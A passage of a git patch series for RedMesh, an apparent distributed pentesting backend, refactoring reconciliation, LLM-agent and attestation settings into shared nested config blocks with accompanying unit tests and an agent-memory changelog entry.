- plugin.cfg_distributed_stale_grace = 20 - plugin.cfg_distributed_max_reannounce_attempts = 3 + plugin.cfg_distributed_job_reconciliation = { + "STARTUP_TIMEOUT": 30, + "STALE_TIMEOUT": 10, + "STALE_GRACE": 20, + "MAX_REANNOUNCE_ATTEMPTS": 3, + } plugin._last_worker_reconcile_check = 0 plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) plugin.P = MagicMock() @@ -773,9 +778,11 @@ def test_maybe_reannounce_worker_assignments_stops_job_after_retry_exhaustion(se plugin.cfg_instance_id = "test-instance" plugin.ee_addr = "node-launcher" plugin.cfg_check_jobs_each = 15 - plugin.cfg_distributed_startup_timeout = 30 - plugin.cfg_distributed_stale_grace = 20 - plugin.cfg_distributed_max_reannounce_attempts = 3 + plugin.cfg_distributed_job_reconciliation = { + "STARTUP_TIMEOUT": 30, + "STALE_GRACE": 20, + "MAX_REANNOUNCE_ATTEMPTS": 3, + } plugin._last_worker_reconcile_check = 0 plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) plugin.P = MagicMock() diff --git a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py index 2cf8089b..2feb0996 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py +++ b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py @@ -1,7 +1,10 @@ import unittest from unittest.mock import MagicMock -from extensions.business.cybersec.red_mesh.services.reconciliation import reconcile_job_workers +from extensions.business.cybersec.red_mesh.services.reconciliation import ( + get_distributed_job_reconciliation_config, + reconcile_job_workers, +) class TestWorkerReconciliation(unittest.TestCase): @@ -9,9 +12,48 @@ class TestWorkerReconciliation(unittest.TestCase): def _make_owner(self, now=100.0, stale_timeout=30): owner = MagicMock() owner.time.return_value = now - owner.cfg_distributed_stale_timeout = stale_timeout + owner.cfg_distributed_job_reconciliation = {"STALE_TIMEOUT": stale_timeout} return owner + def test_reconciliation_config_uses_defaults(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = None + owner.CONFIG = {} + + config = get_distributed_job_reconciliation_config(owner) + + self.assertEqual(config["STARTUP_TIMEOUT"], 45.0) + self.assertEqual(config["STALE_TIMEOUT"], 120.0) + self.assertEqual(config["STALE_GRACE"], 30.0) + self.assertEqual(config["MAX_REANNOUNCE_ATTEMPTS"], 3) + + def test_reconciliation_config_merges_partial_override(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = {"STARTUP_TIMEOUT": 20} + + config = get_distributed_job_reconciliation_config(owner) + + self.assertEqual(config["STARTUP_TIMEOUT"], 20.0) + self.assertEqual(config["STALE_TIMEOUT"], 120.0) + self.assertEqual(config["STALE_GRACE"], 30.0) + self.assertEqual(config["MAX_REANNOUNCE_ATTEMPTS"], 3) + + def test_reconciliation_config_normalizes_invalid_values(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = { + "STARTUP_TIMEOUT": 0, + "STALE_TIMEOUT": -1, + "STALE_GRACE": -5, + "MAX_REANNOUNCE_ATTEMPTS": "bad", + } + + config = get_distributed_job_reconciliation_config(owner) + + self.assertEqual(config["STARTUP_TIMEOUT"], 45.0) + self.assertEqual(config["STALE_TIMEOUT"], 120.0) + self.assertEqual(config["STALE_GRACE"], 30.0) + self.assertEqual(config["MAX_REANNOUNCE_ATTEMPTS"], 3) + def test_reconcile_job_workers_marks_active_worker(self): owner = self._make_owner() job_specs = { From 4c2cea3d21926540cdad65d5b193c534ef0340e5 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:55:35 +0000 Subject: [PATCH 105/114] refactor(redmesh): share nested config resolution --- .../business/cybersec/red_mesh/AGENTS.md | 8 +- .../cybersec/red_mesh/services/__init__.py | 2 + .../cybersec/red_mesh/services/config.py | 20 +++++ .../red_mesh/services/reconciliation.py | 78 +++++++++---------- .../red_mesh/tests/test_reconciliation.py | 49 ++++++++++++ 5 files changed, 117 insertions(+), 40 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/services/config.py diff --git a/extensions/business/cybersec/red_mesh/AGENTS.md b/extensions/business/cybersec/red_mesh/AGENTS.md index 83064eee..776dc861 100644 --- a/extensions/business/cybersec/red_mesh/AGENTS.md +++ b/extensions/business/cybersec/red_mesh/AGENTS.md @@ -1,6 +1,6 @@ # RedMesh Backend Agent Memory -Last updated: 2026-03-16T00:00:00Z +Last updated: 2026-03-16T17:05:00Z ## Purpose @@ -134,6 +134,7 @@ High-level responsibilities: - Shared job blobs are vulnerable to lost-update races if multiple nodes write unrelated fields concurrently. - Worker-owned runtime state should prefer isolated records over concurrent writes into the same job document. - Launcher-side reconciliation is safer than trusting many workers to merge shared orchestration state correctly. +- Nested config blocks should resolve through one shared shallow merge helper, with validation kept in subsystem-specific wrappers. ## Testing and Verification @@ -293,3 +294,8 @@ Only append entries for critical or fundamental RedMesh backend changes, discove - Change: identified a distributed-job orchestration gap where an assigned worker can miss the initial CStore job announcement and the launcher can wait indefinitely. - Change: added a companion implementation tracker for distributed job reconciliation in the shared RedMesh project docs. - Horizontal insight: current launcher/worker orchestration is strong enough to distribute work, but not yet strong enough to guarantee convergence when a peer misses assignment visibility; future agents should treat worker-owned runtime state and launcher-side reconciliation as the preferred fix direction. + +### 2026-03-16T17:05:00Z + +- Change: extracted a generic nested-config resolver in [`services/config.py`](./services/config.py) and moved distributed job reconciliation config onto that shared path. +- Horizontal insight: RedMesh should centralize nested config block merge semantics, but keep validation local to each subsystem wrapper rather than introducing a broad deep-merge config framework prematurely. diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 8f014cdc..d91e7ce9 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,3 +1,4 @@ +from .config import resolve_config_block from .control import ( purge_job, stop_and_delete_job, @@ -62,6 +63,7 @@ "TERMINAL_JOB_STATUSES", "can_transition_job_status", "coerce_scan_type", + "resolve_config_block", "announce_launch", "build_network_workers", "build_webapp_workers", diff --git a/extensions/business/cybersec/red_mesh/services/config.py b/extensions/business/cybersec/red_mesh/services/config.py new file mode 100644 index 00000000..1dd71537 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/config.py @@ -0,0 +1,20 @@ +def _config_attr_name(block_name): + return f"cfg_{block_name.lower()}" + + +def resolve_config_block(owner, block_name, defaults, normalizer=None): + """Resolve one shallow nested config block with partial override merge.""" + merged = dict(defaults or {}) + override = getattr(owner, _config_attr_name(block_name), None) + if override is None: + config = getattr(owner, "CONFIG", None) + if isinstance(config, dict): + override = config.get(block_name) + if isinstance(override, dict): + merged.update(override) + + if callable(normalizer): + normalized = normalizer(dict(merged), dict(defaults or {})) + if isinstance(normalized, dict): + return normalized + return merged diff --git a/extensions/business/cybersec/red_mesh/services/reconciliation.py b/extensions/business/cybersec/red_mesh/services/reconciliation.py index 0ced44c6..dc28f7d9 100644 --- a/extensions/business/cybersec/red_mesh/services/reconciliation.py +++ b/extensions/business/cybersec/red_mesh/services/reconciliation.py @@ -1,4 +1,5 @@ from ..models import WorkerProgress +from .config import resolve_config_block DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG = { "STARTUP_TIMEOUT": 45.0, @@ -24,49 +25,48 @@ def _safe_float(value, default=None): def get_distributed_job_reconciliation_config(owner): """Return normalized distributed-job reconciliation config.""" - merged = dict(DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG) - override = getattr(owner, "cfg_distributed_job_reconciliation", None) - if override is None: - config = getattr(owner, "CONFIG", None) - if isinstance(config, dict): - override = config.get("DISTRIBUTED_JOB_RECONCILIATION") - if isinstance(override, dict): - merged.update(override) - - startup_timeout = _safe_float( - merged.get("STARTUP_TIMEOUT"), - DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STARTUP_TIMEOUT"], - ) - if startup_timeout is None or startup_timeout <= 0: - startup_timeout = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STARTUP_TIMEOUT"] + def _normalize(merged, defaults): + startup_timeout = _safe_float( + merged.get("STARTUP_TIMEOUT"), + defaults["STARTUP_TIMEOUT"], + ) + if startup_timeout is None or startup_timeout <= 0: + startup_timeout = defaults["STARTUP_TIMEOUT"] - stale_timeout = _safe_float( - merged.get("STALE_TIMEOUT"), - DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_TIMEOUT"], - ) - if stale_timeout is None or stale_timeout <= 0: - stale_timeout = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_TIMEOUT"] + stale_timeout = _safe_float( + merged.get("STALE_TIMEOUT"), + defaults["STALE_TIMEOUT"], + ) + if stale_timeout is None or stale_timeout <= 0: + stale_timeout = defaults["STALE_TIMEOUT"] - stale_grace = _safe_float( - merged.get("STALE_GRACE"), - DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_GRACE"], - ) - if stale_grace is None or stale_grace < 0: - stale_grace = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_GRACE"] + stale_grace = _safe_float( + merged.get("STALE_GRACE"), + defaults["STALE_GRACE"], + ) + if stale_grace is None or stale_grace < 0: + stale_grace = defaults["STALE_GRACE"] - max_reannounce_attempts = _safe_int( - merged.get("MAX_REANNOUNCE_ATTEMPTS"), - DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["MAX_REANNOUNCE_ATTEMPTS"], + max_reannounce_attempts = _safe_int( + merged.get("MAX_REANNOUNCE_ATTEMPTS"), + defaults["MAX_REANNOUNCE_ATTEMPTS"], + ) + if max_reannounce_attempts < 0: + max_reannounce_attempts = defaults["MAX_REANNOUNCE_ATTEMPTS"] + + return { + "STARTUP_TIMEOUT": startup_timeout, + "STALE_TIMEOUT": stale_timeout, + "STALE_GRACE": stale_grace, + "MAX_REANNOUNCE_ATTEMPTS": max_reannounce_attempts, + } + + return resolve_config_block( + owner, + "DISTRIBUTED_JOB_RECONCILIATION", + DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG, + normalizer=_normalize, ) - if max_reannounce_attempts < 0: - max_reannounce_attempts = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["MAX_REANNOUNCE_ATTEMPTS"] - - return { - "STARTUP_TIMEOUT": startup_timeout, - "STALE_TIMEOUT": stale_timeout, - "STALE_GRACE": stale_grace, - "MAX_REANNOUNCE_ATTEMPTS": max_reannounce_attempts, - } def _matched_live_progress(job_id, worker_addr, pass_nr, assignment_revision, live_payloads): diff --git a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py index 2feb0996..2319e57c 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py +++ b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py @@ -1,6 +1,7 @@ import unittest from unittest.mock import MagicMock +from extensions.business.cybersec.red_mesh.services.config import resolve_config_block from extensions.business.cybersec.red_mesh.services.reconciliation import ( get_distributed_job_reconciliation_config, reconcile_job_workers, @@ -15,6 +16,54 @@ def _make_owner(self, now=100.0, stale_timeout=30): owner.cfg_distributed_job_reconciliation = {"STALE_TIMEOUT": stale_timeout} return owner + def test_resolve_config_block_uses_defaults(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = None + owner.CONFIG = {} + + config = resolve_config_block( + owner, + "DISTRIBUTED_JOB_RECONCILIATION", + {"STARTUP_TIMEOUT": 45.0, "STALE_TIMEOUT": 120.0}, + ) + + self.assertEqual(config, {"STARTUP_TIMEOUT": 45.0, "STALE_TIMEOUT": 120.0}) + + def test_resolve_config_block_merges_partial_override(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = {"STARTUP_TIMEOUT": 20} + + config = resolve_config_block( + owner, + "DISTRIBUTED_JOB_RECONCILIATION", + {"STARTUP_TIMEOUT": 45.0, "STALE_TIMEOUT": 120.0}, + ) + + self.assertEqual(config, {"STARTUP_TIMEOUT": 20, "STALE_TIMEOUT": 120.0}) + + def test_resolve_config_block_ignores_non_dict_override(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = "bad" + owner.CONFIG = {"DISTRIBUTED_JOB_RECONCILIATION": {"STARTUP_TIMEOUT": 25}} + + config = resolve_config_block( + owner, + "DISTRIBUTED_JOB_RECONCILIATION", + {"STARTUP_TIMEOUT": 45.0, "STALE_TIMEOUT": 120.0}, + ) + + self.assertEqual(config, {"STARTUP_TIMEOUT": 45.0, "STALE_TIMEOUT": 120.0}) + + def test_resolve_config_block_returns_copy(self): + owner = MagicMock() + owner.cfg_distributed_job_reconciliation = None + defaults = {"STARTUP_TIMEOUT": 45.0} + + config = resolve_config_block(owner, "DISTRIBUTED_JOB_RECONCILIATION", defaults) + config["STARTUP_TIMEOUT"] = 10.0 + + self.assertEqual(defaults["STARTUP_TIMEOUT"], 45.0) + def test_reconciliation_config_uses_defaults(self): owner = MagicMock() owner.cfg_distributed_job_reconciliation = None From aec33542789ea531b9252bf60ba7cc61d70408ec Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 12:12:43 +0000 Subject: [PATCH 106/114] refactor(redmesh): group llm agent config --- .../cybersec/red_mesh/mixins/llm_agent.py | 24 +++++++---- .../cybersec/red_mesh/pentester_api_01.py | 16 +++++--- .../cybersec/red_mesh/services/__init__.py | 6 ++- .../cybersec/red_mesh/services/config.py | 41 +++++++++++++++++++ .../red_mesh/services/finalization.py | 6 ++- .../cybersec/red_mesh/tests/test_api.py | 10 +++-- .../cybersec/red_mesh/tests/test_hardening.py | 6 +-- .../red_mesh/tests/test_integration.py | 2 +- .../red_mesh/tests/test_reconciliation.py | 40 +++++++++++++++++- 9 files changed, 123 insertions(+), 28 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 118982d4..60903f08 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -13,6 +13,7 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): from typing import Optional from ..constants import RUN_MODE_SINGLEPASS +from ..services.config import get_llm_agent_config from ..services.resilience import run_bounded_retry _NON_RETRYABLE_HTTP_STATUSES = {400, 401, 403, 404, 409, 410, 413, 422} @@ -24,11 +25,9 @@ class _RedMeshLlmAgentMixin(object): Mixin providing LLM Agent API integration for RedMesh plugins. This mixin expects the host class to have the following config attributes: - - cfg_llm_agent_api_enabled: bool + - cfg_llm_agent: dict-like nested config block, or equivalent config_data/CONFIG block - cfg_llm_agent_api_host: str - cfg_llm_agent_api_port: int - - cfg_llm_agent_api_timeout: int - - cfg_llm_auto_analysis_type: str And the following methods/attributes: - self.r1fs: R1FS instance @@ -41,13 +40,17 @@ def __init__(self, **kwargs): super(_RedMeshLlmAgentMixin, self).__init__(**kwargs) return + def _get_llm_agent_config(self) -> dict: + return get_llm_agent_config(self) + def _maybe_resolve_llm_agent_from_semaphore(self): """ If SEMAPHORED_KEYS is configured and LLM Agent is enabled, read API_IP and API_PORT from semaphore env published by the LLM Agent API plugin. Overrides static config values. """ - if not self.cfg_llm_agent_api_enabled: + llm_cfg = self._get_llm_agent_config() + if not llm_cfg["ENABLED"]: return False semaphored_keys = getattr(self, 'cfg_semaphored_keys', None) if not semaphored_keys: @@ -149,14 +152,15 @@ def _call_llm_agent_api( dict API response or error object. """ - if not self.cfg_llm_agent_api_enabled: + llm_cfg = self._get_llm_agent_config() + if not llm_cfg["ENABLED"]: return {"error": "LLM Agent API is not enabled", "status": "disabled"} if not self.cfg_llm_agent_api_port: return {"error": "LLM Agent API port not configured", "status": "config_error"} url = self._get_llm_agent_api_url(endpoint) - timeout = timeout or self.cfg_llm_agent_api_timeout + timeout = timeout or llm_cfg["TIMEOUT"] retries = max(int(getattr(self, "cfg_llm_api_retries", 1) or 1), 1) def _attempt(): @@ -264,7 +268,8 @@ def _auto_analyze_report( dict or None LLM analysis result or None if disabled/failed. """ - if not self.cfg_llm_agent_api_enabled: + llm_cfg = self._get_llm_agent_config() + if not llm_cfg["ENABLED"]: self.Pd("LLM auto-analysis skipped (not enabled)") return None @@ -275,7 +280,7 @@ def _auto_analyze_report( method="POST", payload={ "scan_results": report, - "analysis_type": self.cfg_llm_auto_analysis_type, + "analysis_type": llm_cfg["AUTO_ANALYSIS_TYPE"], "scan_type": scan_type, "focus_areas": None, } @@ -486,7 +491,8 @@ def _get_llm_health_status(self) -> dict: dict Health status of the LLM Agent API. """ - if not self.cfg_llm_agent_api_enabled: + llm_cfg = self._get_llm_agent_config() + if not llm_cfg["ENABLED"]: return { "enabled": False, "status": "disabled", diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 050b07ff..221a1732 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -94,6 +94,7 @@ normalize_common_launch_options, parse_exceptions, purge_job, + get_llm_agent_config, get_distributed_job_reconciliation_config, reconcile_job_workers, resolve_job_config_secrets, @@ -173,11 +174,13 @@ "SCAN_MAX_RND_DELAY": 0.0, # maximum delay in seconds (0 = disabled) # LLM Agent API integration for auto-analysis - "LLM_AGENT_API_ENABLED": False, # Enable LLM-powered analysis + "LLM_AGENT": { + "ENABLED": False, # Enable LLM-powered analysis + "TIMEOUT": 120, # Timeout in seconds for LLM API calls + "AUTO_ANALYSIS_TYPE": "security_assessment", # Default analysis type + }, "LLM_AGENT_API_HOST": "127.0.0.1", # Host where LLM Agent API is running "LLM_AGENT_API_PORT": None, # Port for LLM Agent API (required if enabled) - "LLM_AGENT_API_TIMEOUT": 120, # Timeout in seconds for LLM API calls - "LLM_AUTO_ANALYSIS_TYPE": "security_assessment", # Default analysis type # Security hardening controls "REDACT_CREDENTIALS": True, # Strip passwords from persisted reports @@ -2209,7 +2212,8 @@ def analyze_job( dict LLM analysis result or error message. """ - if not self.cfg_llm_agent_api_enabled: + llm_cfg = get_llm_agent_config(self) + if not llm_cfg["ENABLED"]: return {"error": "LLM Agent API is not enabled", "job_id": job_id} if not self.cfg_llm_agent_api_port: @@ -2240,7 +2244,7 @@ def analyze_job( job_config = self._get_job_config(job_specs) # Call LLM Agent API - analysis_type = analysis_type or self.cfg_llm_auto_analysis_type + analysis_type = analysis_type or llm_cfg["AUTO_ANALYSIS_TYPE"] # Add job metadata to report for context report_with_meta = dict(aggregated_report) @@ -2365,7 +2369,7 @@ def process(self): if self._semaphore_get_keys() and not self.is_plugin_ready(): self.semaphore_start_wait() if self.semaphore_check_with_logging(): - if self.cfg_llm_agent_api_enabled: + if get_llm_agent_config(self)["ENABLED"]: self._maybe_resolve_llm_agent_from_semaphore() self.set_plugin_ready(True) diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index d91e7ce9..808029e6 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,4 +1,7 @@ -from .config import resolve_config_block +from .config import ( + get_llm_agent_config, + resolve_config_block, +) from .control import ( purge_job, stop_and_delete_job, @@ -63,6 +66,7 @@ "TERMINAL_JOB_STATUSES", "can_transition_job_status", "coerce_scan_type", + "get_llm_agent_config", "resolve_config_block", "announce_launch", "build_network_workers", diff --git a/extensions/business/cybersec/red_mesh/services/config.py b/extensions/business/cybersec/red_mesh/services/config.py index 1dd71537..bcb5ee45 100644 --- a/extensions/business/cybersec/red_mesh/services/config.py +++ b/extensions/business/cybersec/red_mesh/services/config.py @@ -6,6 +6,10 @@ def resolve_config_block(owner, block_name, defaults, normalizer=None): """Resolve one shallow nested config block with partial override merge.""" merged = dict(defaults or {}) override = getattr(owner, _config_attr_name(block_name), None) + if override is None: + config_data = getattr(owner, "config_data", None) + if isinstance(config_data, dict): + override = config_data.get(block_name) if override is None: config = getattr(owner, "CONFIG", None) if isinstance(config, dict): @@ -18,3 +22,40 @@ def resolve_config_block(owner, block_name, defaults, normalizer=None): if isinstance(normalized, dict): return normalized return merged + + +DEFAULT_LLM_AGENT_CONFIG = { + "ENABLED": False, + "TIMEOUT": 120.0, + "AUTO_ANALYSIS_TYPE": "security_assessment", +} + + +def get_llm_agent_config(owner): + """Return normalized LLM agent integration config.""" + def _normalize(merged, defaults): + enabled = bool(merged.get("ENABLED", defaults["ENABLED"])) + + try: + timeout = float(merged.get("TIMEOUT", defaults["TIMEOUT"])) + except (TypeError, ValueError): + timeout = defaults["TIMEOUT"] + if timeout <= 0: + timeout = defaults["TIMEOUT"] + + analysis_type = str( + merged.get("AUTO_ANALYSIS_TYPE") or defaults["AUTO_ANALYSIS_TYPE"] + ).strip() or defaults["AUTO_ANALYSIS_TYPE"] + + return { + "ENABLED": enabled, + "TIMEOUT": timeout, + "AUTO_ANALYSIS_TYPE": analysis_type, + } + + return resolve_config_block( + owner, + "LLM_AGENT", + DEFAULT_LLM_AGENT_CONFIG, + normalizer=_normalize, + ) diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py index 58c293fd..68aaaa27 100644 --- a/extensions/business/cybersec/red_mesh/services/finalization.py +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -14,6 +14,7 @@ ) from ..models import AggregatedScanData, PassReport, PassReportRef, WorkerReportMeta from ..repositories import ArtifactRepository, JobStateRepository +from .config import get_llm_agent_config from .state_machine import is_intermediate_job_status, is_terminal_job_status, set_job_status @@ -93,9 +94,10 @@ def maybe_finalize_pass(owner): owner.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") job_config = owner._get_job_config(job_specs) + llm_cfg = get_llm_agent_config(owner) llm_text = None summary_text = None - if owner.cfg_llm_agent_api_enabled and aggregated: + if llm_cfg["ENABLED"] and aggregated: set_job_status(job_specs, JOB_STATUS_ANALYZING) job_specs = _write_job_record(owner, job_key, job_specs, context="finalize_analyzing") llm_text = owner._run_aggregated_llm_analysis(job_id, aggregated, job_config) @@ -108,7 +110,7 @@ def maybe_finalize_pass(owner): else: summary_text = owner._run_quick_summary_analysis(job_id, aggregated, job_config) - llm_failed = True if (owner.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None + llm_failed = True if (llm_cfg["ENABLED"] and (llm_text is None or summary_text is None)) else None if llm_failed: owner._emit_timeline_event( job_specs, "llm_failed", diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index c0f76629..d910f9ae 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -113,7 +113,7 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin.cfg_graybox_auth_attempt_budget = 10 plugin.cfg_graybox_route_discovery_budget = 100 plugin.cfg_graybox_stateful_action_budget = 1 - plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_llm_agent = {"ENABLED": False} plugin.cfg_ics_safe_mode = False plugin.cfg_scan_min_rnd_delay = 0 plugin.cfg_scan_max_rnd_delay = 0 @@ -599,11 +599,13 @@ def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLE plugin.ee_addr = "launcher-node" plugin.ee_id = "launcher-alias" plugin.cfg_instance_id = "test-instance" - plugin.cfg_llm_agent_api_enabled = llm_enabled + plugin.cfg_llm_agent = { + "ENABLED": llm_enabled, + "TIMEOUT": 30, + "AUTO_ANALYSIS_TYPE": "security_assessment", + } plugin.cfg_llm_agent_api_host = "localhost" plugin.cfg_llm_agent_api_port = 8080 - plugin.cfg_llm_agent_api_timeout = 30 - plugin.cfg_llm_auto_analysis_type = "security_assessment" plugin.cfg_monitor_interval = 60 plugin.cfg_monitor_jitter = 0 plugin.cfg_attestation_min_seconds_between_submits = 300 diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index cecacea3..b03b5510 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -99,10 +99,9 @@ def test_call_llm_agent_api_retries_transient_connection_error(self): class MockHost(_RedMeshLlmAgentMixin): def __init__(self): - self.cfg_llm_agent_api_enabled = True + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} self.cfg_llm_agent_api_host = "127.0.0.1" self.cfg_llm_agent_api_port = 8080 - self.cfg_llm_agent_api_timeout = 5 self.cfg_llm_api_retries = 2 def P(self, *_args, **_kwargs): @@ -142,10 +141,9 @@ def test_call_llm_agent_api_does_not_retry_non_retryable_provider_rejection(self class MockHost(_RedMeshLlmAgentMixin): def __init__(self): - self.cfg_llm_agent_api_enabled = True + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} self.cfg_llm_agent_api_host = "127.0.0.1" self.cfg_llm_agent_api_port = 8080 - self.cfg_llm_agent_api_timeout = 5 self.cfg_llm_api_retries = 2 def P(self, *_args, **_kwargs): diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 3df34bc3..3ca75e3c 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -1561,7 +1561,7 @@ def test_finalize_pass_attaches_pass_metrics(self): plugin = MagicMock() plugin.cfg_instance_id = "test-instance" plugin.ee_addr = "node-launcher" - plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_llm_agent = {"ENABLED": False} plugin.cfg_attestation_min_seconds_between_submits = 3600 # Two workers, each with a report_cid diff --git a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py index 2319e57c..bae103ca 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py +++ b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py @@ -1,7 +1,10 @@ import unittest from unittest.mock import MagicMock -from extensions.business.cybersec.red_mesh.services.config import resolve_config_block +from extensions.business.cybersec.red_mesh.services.config import ( + get_llm_agent_config, + resolve_config_block, +) from extensions.business.cybersec.red_mesh.services.reconciliation import ( get_distributed_job_reconciliation_config, reconcile_job_workers, @@ -64,6 +67,41 @@ def test_resolve_config_block_returns_copy(self): self.assertEqual(defaults["STARTUP_TIMEOUT"], 45.0) + def test_llm_agent_config_uses_defaults(self): + owner = MagicMock() + owner.cfg_llm_agent = None + owner.CONFIG = {} + + config = get_llm_agent_config(owner) + + self.assertEqual(config["ENABLED"], False) + self.assertEqual(config["TIMEOUT"], 120.0) + self.assertEqual(config["AUTO_ANALYSIS_TYPE"], "security_assessment") + + def test_llm_agent_config_merges_partial_override(self): + owner = MagicMock() + owner.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 30} + + config = get_llm_agent_config(owner) + + self.assertEqual(config["ENABLED"], True) + self.assertEqual(config["TIMEOUT"], 30.0) + self.assertEqual(config["AUTO_ANALYSIS_TYPE"], "security_assessment") + + def test_llm_agent_config_normalizes_invalid_values(self): + owner = MagicMock() + owner.cfg_llm_agent = { + "ENABLED": True, + "TIMEOUT": 0, + "AUTO_ANALYSIS_TYPE": "", + } + + config = get_llm_agent_config(owner) + + self.assertEqual(config["ENABLED"], True) + self.assertEqual(config["TIMEOUT"], 120.0) + self.assertEqual(config["AUTO_ANALYSIS_TYPE"], "security_assessment") + def test_reconciliation_config_uses_defaults(self): owner = MagicMock() owner.cfg_distributed_job_reconciliation = None From 973e553704ba3123476c5f3cf898061a2b1f263d Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 12:14:36 +0000 Subject: [PATCH 107/114] refactor(redmesh): group attestation config --- .../cybersec/red_mesh/mixins/attestation.py | 13 +++--- .../cybersec/red_mesh/pentester_api_01.py | 10 +++-- .../cybersec/red_mesh/services/__init__.py | 2 + .../cybersec/red_mesh/services/config.py | 44 +++++++++++++++++++ .../red_mesh/services/finalization.py | 3 +- .../cybersec/red_mesh/services/secrets.py | 3 +- .../cybersec/red_mesh/tests/test_api.py | 6 +-- .../cybersec/red_mesh/tests/test_hardening.py | 7 +-- .../red_mesh/tests/test_integration.py | 2 +- .../red_mesh/tests/test_reconciliation.py | 40 +++++++++++++++++ 10 files changed, 110 insertions(+), 20 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/attestation.py b/extensions/business/cybersec/red_mesh/mixins/attestation.py index 96738292..21e1de8a 100644 --- a/extensions/business/cybersec/red_mesh/mixins/attestation.py +++ b/extensions/business/cybersec/red_mesh/mixins/attestation.py @@ -9,6 +9,7 @@ from urllib.parse import urlparse from ..constants import RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING +from ..services.config import get_attestation_config from ..services.resilience import run_bounded_retry @@ -32,7 +33,7 @@ def _resolve_attestation_report_cid(workers: dict, preferred_cid=None) -> str | return None def _attestation_get_tenant_private_key(self): - private_key = self.cfg_attestation_private_key + private_key = get_attestation_config(self)["PRIVATE_KEY"] if private_key: private_key = private_key.strip() if not private_key: @@ -136,7 +137,8 @@ def _submit_redmesh_test_attestation( report_cid=None, ): self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") - if not 